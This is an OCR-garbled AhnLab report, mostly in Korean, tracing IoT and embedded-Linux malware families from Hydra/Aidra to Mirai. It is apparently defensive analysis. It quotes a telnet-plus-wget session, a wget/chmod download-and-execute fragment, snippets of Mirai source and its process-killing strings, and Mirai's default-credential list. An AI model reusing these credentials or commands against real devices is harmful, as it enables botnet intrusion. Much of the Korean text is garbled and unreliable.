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= ()

ASE7| AHRUCE A2 QIR Z2RE & U

o

rir
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BHICIE 2|52 7]8 7|7

S o2 2MAZE AbE QEU RS 10 st el 0T YH|EI= 2|52 (Embedded Linux)
Jh Bro| AMRE|D QT 3| 2|7t B3 HE 4+ U= QIEY BRIIE 2HPE, Wi-Fe Router, Wireless
Router SCZ2& &) AlE HtA(Set top box), NAS(Network Attached Storage), C|X|& H|C|2 2|ZE(DVR,
Digital Video Recorder), IP ZtH|2H(IP Camera) SO|A AHCI=E 2|27t 0|2&%|1 QUCt

U SR7| LLANAS)E FHOIM 23] & & U= YHICIE 2522 FSE= AL S StLIO[C
Y SR7IE 7HE, 298 AR, OIE0AM E2] 08%1 ALt S0 EXE HU SFIIE &
of CHE AMEO] 4 84 &S =t 8MEs 24T ZM7F LB AHU SR70E o4d3E
M7t EXett. £35] AR 7712 NASE QIHU SRLE A2 SRS ol 28 24A2E 32 AKX
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£ ArE 2HY MFo HuUYPES O AREHA 7PHe S4AEe 44 e S87F 52 ok £ CXE
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o - =
|2fA(BusyBox)2t= 2lsA HHZ MU = Z230| WEEO A=H, O 5 wget
= = A
= c

user@ubuntu:~$ telnet

Trying I . . .

connected to |G .

Escape character is '~]'.

(none) leogin: admin

Password:

warning: cannot change to home directory

BusyBox v1.8.2 (2013-87-02 14:46:30 KST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# wget
BusyBox v1.8.2 (2013-87-02 14:46:30 KST) multi-call binary

Usage: wget [-csq] [-0 file] [-¥Y onfoff] [-P DIR] [-U agent] url

. |

(22 1] telnete 2 H=3H wget HEH Al

HHEO'l 7|
oz 7|7|0M 5T AR0M EEE = As HEOf7) HALD ACE JHHAZL CHE 55 S2= s
of F= E2 AKX MEHAMM ol=¥oz 50l & ZRE ULk 2F0AM B2 7Ist 2Me o4
SHA|ZE LBHOIO] 7[7[0f LT E e 7|52 H7|= O{EL

o ==
9|E75'|| ng T=
L& HZAOM oMoz FYHE [FESIAHLE Ao X HRE ot MEFS LS 5 AUCH MEtA LE|
2 =+ o= MM BE ME2 7taX AFESHA| fi= A0l ECt
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Baby Monitor Hacking Alarms
Houston Parents

M o+ Wz Qs

Houston Family's Baby Monitor Targeted by Hacker - 01:06

DHZOfA IP ZtH2tE AHEY BR0l= =2 T8 0| ALFol A=K &Qlsts E=2 0|8E7|=
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NE7HA| 2dE ool JHEE 252 4d3Es [AF 49 2L

Shellshock

Uteltend : loT based
PS){bot (Knb, Chuc.kNorriSZI Aic?ra Therpoon Basyvool Pns;an DDoSAttack
f @@@ @@@ @ @@
Hy;ra Utel:tend Dar‘lloz Gaf:gyt Moi)se Qr;ap Mi:rai
[Knb, Chuck Norris) (Fgt) Nas worm
(A8 4] =2 YHICIE 252 AEdAE Etgetel
UHICIE 2l5A AHIASE 2008H0] HS EOE[RJACE X£7| LHCIE 258 FHASE LAMIPS) &
ENAE A%t QHU SR7I% ZABAIZ = URUACH SHX|TH 20123 LAE ofoj=2t B2 B2 2 O
Aot ZR2MAE XY AHUW S/7|E0 ofLgt ME A F ChYst YHICIE 2|54 SHE0M 2S5
Ch M2 YHICIE 2[5A AYIAEE [EA F4 7|50 FEHO|X|CH 2013H UHE H2ZX(Darlloz)=
HIERQINt 22 Jtetstd =0 F3XO0|Ct 2014 2 2|XtE AT E(Lizard Squad)EJ dENM 7IZXE
(Gafgyt) HEo=z Yo7l LA ZZ42= AY £ HEAO|E Fofrt Loz ST 2016 O|2t0]
(Miraof| ofsif 9t 108 CHHZE Clz=& ZZ0| stt 340= 7|1E AHW I{7|E0 OofLzt
DVR(Digital Video Recorder), IP 7|2t 59| A2 QIE{4ll 7|7|7} O|2&|QiLH.

XSTA| 7V ol HAHE 252 ddIEEs 0f0|E2KAidra), EEX(Darlloz), 7HZX|E(Gafgyt) I|HAZH
(Pnscan), O|2t0|(Mira) & 53FOICE T £ 7[7|2t dAZ|= QEIEL XEH R HYHO| LIX| Y=
OtMACE KQZUCE O] 552 AMACO| Wy 3152 EH 2012 367, 2013 267, 2014 3487f, 2015
41,1807}, 2016 9,1257{0|Ct. AtnZ 2016 E7|= 102 317K A= ALUJIX| 18t 7§ o|Ate| otMAE
7 EOE A2 OMEICE O|MEH QUHICIE 2[5 7|8t dAEE= 20144d O|F HEXQl JS7HME Eo|1
ALY
Aidra Darlloz Gafgyt Mirai Pnscan Total

2012 36 - - - - 36

2013 19 7 - - - 26

2014 98 28 222 - - 348

2015 87 9 980 - 104 1,180

2016 269 7 8,635 138 76 9,125

Total 509 51 9,837 138 180 10,715

[ 1] 39 252 94AC 22 Hy
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O] 7t 7t=X|E(Gafgyt)@t 00| =2HAidra)7} 74& Bo| AL QomM, O ChEo 2 mAAZH(Pnscan),

0|2to] (Mirai)7t & 22 ULt £ Gt 7IZX[EL} DI2t0I7F AL S7te A2 Ol ¢ ElCh.

=

J8, XA Z2dE 252 P gAE0| s XtMs| &mEAt

—

S10| =2 (Hydra)

[ 16.07.2008, 19:21

ﬂem L Hydra - Mass DDOS Tool (scanner/exploiter/attacker)

.anyb

Hydra - Mass DDOS Tool (scanner/exploiter/attacker)

Hydra - Mass DDOS Tool (scanner/exploiter/attacker
* added input line parser.

* added irc connection random ident string.

* added source address synflood spoofing.

lpemmau“m 15.03.2008 I : ?ddecll daemon‘\ze manage function for quiet debug
ixed 'upgrade' same file replace bug.
| caoBwerii: 378 | * fixed serveral error messages.
| Penyraums: 583 | * removed an command 'reclst' for unutility.
|aoooa0 | * source code completly rewrite.
Hydra 2008.1 stable (released 2008-02-23)
Q

[ 5] 200840 H7=l sio|EEt ME

MO| £ (Psybot)

MpO| £ (Psybot)2 2009 1& HL| 20(Teny Baume)7t ZAULE QAHU 77| AFIE & Mgz ¢

gtof 22| HMen fEA 34 Jlss 7H2 Ut
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Netcomm NB5 Botnet — PSYBOT 2.5L

1™ January, 2009

ferry Bawme

teny. baume(@gman.com

Shoukd you have any additional information, please email me.

it appears that Netcomm NBY ADSL modems are not the only devices atected by this bot

Modems with simiiar hardware conhgurations (unknown brands) trom ftaly, Brazi, Ecuador, Russia, Ukrawne, lurkey, Feru, Malaysa,
Columbra, India and Egypt (and ke ly more countries) also seem to be altected, and are spreading the bot.

[(LE 6] MO|R0| ZFA7|= AHA SR7] TF

QEIH E (Uteltend, M -2|A &)

2N ULk 4 iy Al

E W ofFz[otof=

2009 2 |3 OpAR2|FHH(Masaryk) CiStOM ZAYCH, X L2|& B2k

= =
BIS Zor "l E2ERXA ZZA(Telnet brute force attack) 22 ZEYA|ZICH AA
o

%

>

o =X il
'[Rlanger Killato : in nome di Chuck Norris!'7t ZX|SCtD SHCE UPXE DA L0 A 20 'Knb Keep nick bot

022" 2xtgo| Exjsic}.

0f| 0| =2HAidra, Lightaidra)

Ofo|Sate 20121 28 A% WAHEUOD| 2011 X NHEIAS IH5H0| £Ch 2x0| AZOIE o

IEZ 2 5+ Atk
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New piece of malicious code infecting routers and IPTV's

19, Feb, 2012

We stumbled on a new breed of malware called LightAidra a few weeks back. Now,
normally when you see a malicious binary it can function only on a single type of
platform due to OS and processor architecture restrictions. LightAidra is a bit of a

different breed. LightAidra supports several different architectures, including MIPS,
MIPSEL, ARM, PPC and SuperH.

LightAidra is capable of infecting a wide range of different produts like routers, IPTV's
and so on. Basically anything that runs on one of the above five architectures and has
an embedded linux-based OS5 can be a potential host for it. Maturally, a network
connection is also needed :)

S0 how does it spread? One way is the HTTP control panel firmware update screen,
most commoenly seen in D-Link and NetGear boxes:

(A8 71 ofjoj=er A =2

7| AHICIE 2|52 AHIETL YAMIPS) ZEHAS ARSHE QIE{YW ZR7(2 37 CHAO|QUCHH Of
eI = BIA EOb ofL|2t HARM), MIPSEL, ItR{PC(PowerPC), F+IHH(SuperH) S2| Ct&st I Z M A
ME SXEP HEEIUCEL RC £ ANAER ClEA 3FH J/5S 7HX|D Yo AAAET FIHEO T

= ot
Ot 0| XS 20141 LAE WO FY AYRCSQ FExDarlloz) HH 7150| F7}E Uk,

o 10

St2 X 20131 109 LAE A2 OIE{4l o= QI x86, MIPS, ARM, T}QIPC 59| A|AHIS ZHGIA|Z
= QUCH CHE YEIAET F2 CEA 34 7|50] U= gl O] dIiE= HEZRQ 242 7Hdet|
M2 7 In]

Wik
P /tmp http:// / :chmod +x /tmp/

[:]_ =1 8] 7|-A|-

0
fot

IH| X2 =212 MX|
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AlBHElO| 2@ 2= AMAEZ QI8 MM A 31,0000 A|AH ZHHO| F=HE|=H| 17%7F 2L A|AH
O|ALCtD SIC} EESH O] LM AC = ZHAS 23l PHP FQF&E Ol CVE-2012-18238 0|28t QUL

7= X| E (Gafgyt)

JtZXEE 2014 80| =7t 2QIE|ACH ES| 2014EH L 2|XtE A E(Lizard Squad)ofjA] AAEFA
2t0| 2 (Xbox Live)2} E2|O|AH|O|M | E 3 (PlayStation Network)0f| C|EA Z24gt [ 0|23 S HS| XLt
20151 18 AATET} 2740 S| 7hE B2 o] Exfsict.

LS —

Chipps ~  and @packe’ T present:
LizardStresser rekt
This is the cross compiled bot

LICENSE AGREEMENT:
I'f wou lulz'd, wou must sent BTC to
121cyw i X¥YCUSL2gN THnOA 2 SHNsWotOrea?

Death to skids

1

2

3

4

5

B

T

B

g

10

11«

12

13 /=

14 THIS 1S & BOT. AW IRC BOT.

15 YOU WILL LIXE THIS BOT AND THIS BOT WILL LIKE YOU.
16 IT 15 VERY TINY AND WILL NOT TAKE UP MUCH OF YOUR SPACE AND TIME,
17 IT 15 A VERY UNIVERSAL BOT. IT WILL WORK ON ALMOST ANYTHING YOU WANT IT TO WORK ON.
18 THIS IS 4 BOT. AW IRC BOT.

19 +/

20

2l

22

23/ —- — -

24 J/ AN [ N

I A L B A U I I R

N v 7 Sy A T I R S

% PN/ U D O DU [ O | SN ) D

(22 9] BHEl 7} X|E(Gafgyt) AAAE

o|AAZH (Pnscan)

2 2015 8& Z{A[OF EoF &KX SHE{R(Dr. Web)of| A LZ4El 4T EO0|CE 2 (ARM), EIA(MIPS), IIHe]
PC(PowerPC) A|AEIS ZFAA|Z|H HNAP (Home Network Administration Protocol) @F CVE-2013-2678 59| #|2H
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QtOJEf = (Wifatch)

oiojmjxE= 2015E LALIA2H KY3t7| #2 Y=E O|8of TLtELl &4F =0= g 7|79 2ot

=HE 2o =M, MEHA=E 22FEE SHULE

This file is part of Linux.Wifatch
Copyright (c) 281 014 ,2015 The Hhite Team <r oy

Linux Wifatch is free Ftware: vou can redistri it and/or

ther ver

INT HLlLl Y or
sneral Public Lic

You should have 2 a_copy
along with Linu: 1. If not

use HSLoader;

[22 10] 370=l Qo|Ijx AR

0|2}0| (Mirai)

0|2}0|(Mirai)= Y=0{ O|2fo] &2 o2 201614 58 HSOZ Y|t 20161 10€ X AATCTH ZIE
S 0| 74510 QUCH 20164 9% B 227191 UALA|IFZ|E|Z (JACZ ClEA 21} 20161 102
SAE YN CIOynO Cf$ Cl=a 3202 KEeIFCE

#ifdef DEBUG ) ] . ] )
static void segv_handler{int sig, siginfo_t =si, void =*unused)

printf("Got SIGSEGY at address: @x¥%lx\n", (long) si->si_addr);
exit(EXIT_FAILURE);

#endif
int main{int argc, char ==args)

char =tbl_exec_succ;

char name_buf[32];
char 1d_bufl[32];

int name_buf_len;

int tbl_exec_succ_len;
int pgid, pings = @;

#ifndef DEBUG
sigset_t sigs;
int wfd;

// Delete self
unlink{args[01):

(12 11] ZJ4= 0|2}o|(Mirai) AATE

AhnLab AhnLab, Inc. All rights reserved. 13
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SHZ|0f Qlom, USE Z= 7 CJQBIEH TJAQE 2|AE

A8 a8 Aa

: OP 9B 98 AR

20164 108 &

A8 @A
a8 aa
a8 aa

a
B8 BB BA
a

: OP 96 90 AR

[2 2l 12] O]2}0|(Mirai) THARJE XL

.00412B109:
.00412B20:
.00412B30:
.00412B40:
.00412B50:
.0B412B60 :
.00412B709:
.00412B80:
.00412B90:
.00412BAG:
.00412BB0:
.08412BCO:
.00412BD09:
.00412BED:
.00412BF0:
.004120080:
.00412C10:
.00412C20:
.08412C30:
.00412C40:

[ 13] Oj2t0|(Mirai)e| A &4 FAC

DP Flood, Syn Flood, ACK Flood, GRE IP Flood &2| C}¥ot C|EA 524 7|52 7HX|

H|

t/tcp  killall
-9 telnetd pkil
1 -9 telnetd
pkill telnetd
killall -9 dropb
ear pkill -9 dro
pbear killall
-9 telnet pkil
1 -9 telnet pkil
1 telnet busy
box killall -9 m
irail.arm busy
box killall
irai.shé

box killall
irai.arm/

box killall
iral.mips

box killall
irai.mpsl

HMA 7lIs

Ahnlab «

AhnLab, Inc. All rights reserved.
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MR AMICIE 252 7|8 AFZQIEW B 2 AEIREE T K2

Li
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>
Mo

Ch. &4l Z2ORM0] EXoIA| B, EXSHHEE HZ=AF =50| gl o=

|317] QI3+ w2fo] WBt

{0 K
Iy

N

M oR
o

2

o

{4 BR7ILE NASO| B3 7|3} Qs BHEA| BIZOO} BICh M2 Yl 2XI0t 54 2AE A
=
T

O{M AIR3IT F7|MoZ HASIH 74A EC.

24 A0 A Admin, adinl, guest, root, support 52| AH0| Cis E= T2 L= [H 2] &Lt

&
54321 666666 7ujMkoOvizxv | 7ujMkoOadmin 00000000 | 1111 1111111
1234 12345 123456 883888 Admin Admin1234 | anko
Default dreambox | fucker ikwb hi3518 jvbzd kivl23
kivi234 meinsm Pass password realtek service system
tech ubnt user vizxv xc3511 Zte521 ZIXx.

[E 2] |28 TAQIE 2|AE

BARE 22
HOIEE HBstm QICH CHE AHR QIE{HO) Cf3t HoPE 3HE NWE HO2 of4E|of QIEU0| 6z

=l 7|71 A4 B0z YHo|E Sof st

;O

ic. whebd E "est A9t ofLjzte 98 Ha

—

AhnLab © AhnLab, Inc. All rights reserved. 15



YH|CI= 2|52 7[Eh AHZ lE U (o) 2ot S8

74

2k

2 AU HAE Atz AU MFO0| Sototl Utk 0|F AU SR7|LE NAS= M7t AREHTF
o ds2 #F1 ULt S4At= ol MER AEE X|LHX|X| @=Lt 0|0] 2008 HFH RESH 342 %
A SOIAX|T & X[ K| g0 JAR/ACEL RH dHAE= 22AETF S/ 2014HFE 5531 2016
Of2H 18k 7§ O|&to| At QIEUl YA ETL SHY AR O ECE O|HF QIEullo] HZAE 7|77} T}
YR 2 A|AH” H50| SEHESE AEIAE ZHE G2 57t Aotk =7| YH|CIE 2|52 YA
= T2 Y 77 22 78 W UEXHZ B0 Zoteof JUR/UCL SHA|Z FEIAE HEAXE2 F
O Crefet 71718 d3AI717] /et =8 TS O[X B2 AtE AHU HES d3AZ2 = JAs A8
EE JHESta QUCt SEX|TL OFEINFX] AMRIZE YHICIE 2|54 AEIAEE st/ = X gn ofdA
Eof 450 Oiget Xz #Ro| giC.

2014 Ol QYHICIE 2|52 AEYIE oo 2o Cl=A 3H2=2 MA o2 L2t SRME =2
o ddE =77| AEACE olg{et 7|0 w2t DjefEzarstf= 2016 93 IoT 7|7 WHFI|E 7|

O=2 157kX| HoF ANt 7|g-22|H AIMYEE MY 2 ToT S& 2t 7I0|='E LEIUCL
et HZ=AHs O] 7H0|EE H|RPh KR-CERTS| 'S/7| MEF di Al HEF Eot 7I0|E, OWASP 2
ToT A|FR2|E| 7I0|='E HIEY22 MES ZAHOF otCh ok 2ot HHet F=el 22 7|55 Z=lotA L
2ot MZEFS B Rt ALk HES ST A= AHUS| AHdE SEE TR &H[AF YFA
= AlE QHU MEFS FOE O 7HHECE 2ot ME 2 HES MESHE, A2 AU BEotol F

A
280 tieh el AlY Z297|= =02 A2 7|Cistot

>

S SN 3=

[1] Marta Janus/Kaspersky, ‘Heads of the Hydra, Malware for Network Devices’, 2011
[2] Marta Janus/Kaspersky, ‘State of play: network devices facing bulls-eye’, 2014

Bl £7185/E7/71 4 Mg S A=AHU 7|7] 2eb |8, 2015

[4] XpolA otz ToT 2|10 YH|CIE E|lsA 2HIAE! 2015

[5] Z[RA/F-NGS ¢4, 'MIRAL 24l Se/&4 E1A, 2016
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